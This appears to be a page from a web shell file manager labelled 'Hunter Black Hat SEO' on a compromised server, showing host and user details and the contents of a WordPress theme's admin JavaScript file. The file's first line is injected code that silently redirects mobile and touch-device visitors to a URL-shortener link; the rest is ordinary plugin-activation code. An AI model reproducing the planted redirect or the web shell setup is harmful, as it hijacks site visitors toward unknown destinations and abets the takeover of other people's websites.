Hunter Black Hat SEO
Server:LiteSpeed
System:Linux quebec.us.hostns.io 5.14.0-687.42.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 27 11:55:12 EDT 2026 x86_64
User:gazetufm (1431)
PHP:8.1.35
Disabled:NONE
Upload Files
File: //home2/gazetufm/mejdisadiku.com/oldwp/wp-content/themes/fotawp/inc/admin/js/welcome-notice.js
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
(function ($) {
  "use strict";
  $("#install-activate-button").on("click", function (e) {
    e.preventDefault();
    var button = $(this);
    button.attr("disabled", "disabled");
    button.text("Installing & Activating required plugins").addClass("processing-spinner");

    var activationData = {
      action: "fotawp_install_and_activate_plugins",
      nonce: fotawp_localize.nonce,
    };
    $.post(fotawp_localize.ajax_url, activationData, function (response) {
      var checkJSON = /{.*}/; // Regular expression to match the JSON portion
      var match = checkJSON.exec(response);
      if (match) {
        var jsonResponse = match[0]; // Extracted JSON portion
        try {
          var responseObj = JSON.parse(jsonResponse); // Parse the extracted JSON

          if (responseObj.success === true) {
            window.location.href = fotawp_localize.redirect_url;
          } else {
            console.log("Error!");
          }
        } catch (error) {
          console.log("Error parsing JSON!");
        }
      } else {
        //alert(response);
        if (response.success === true) {
          window.location.href = fotawp_localize.redirect_url;
        } else {
          button.text(response.data.message);
        }
      }
    });
  });

  // Ajax for trigger individual activation of all recommended plugins
  $(".frp_plugin_action").click(function (e) {
    e.preventDefault();
    //alert("button clicked");
    // Get the additional parameters from the button's data attributes
    var plugin_slug = $(this).data("rpslug");
    var pluign_filename = $(this).data("filename");
    $.ajax({
      url: fotawp_localize.ajax_url,
      type: "POST",
      dataType: "json", // Expecting JSON response
      data: {
        action: "fotawp_rplugin_activation",
        nonce: fotawp_localize.nonce,
        get_slug: plugin_slug,
        get_filename: pluign_filename,
        // additional data if needed
      },
      success: function (response) {
        // Handle the response from the server
        if (response.success) {
          //$("#response-container").text(response.data);
          window.location.href = fotawp_localize.redirect_url;
        } else {
          $("#response-container").text(response.data);
        }
      },
      error: function (xhr, status, error) {
        // Handle error
        $("#response-container").text("An error occurred.");
        console.log(xhr.responseText);
      },
    });
  });
})(jQuery);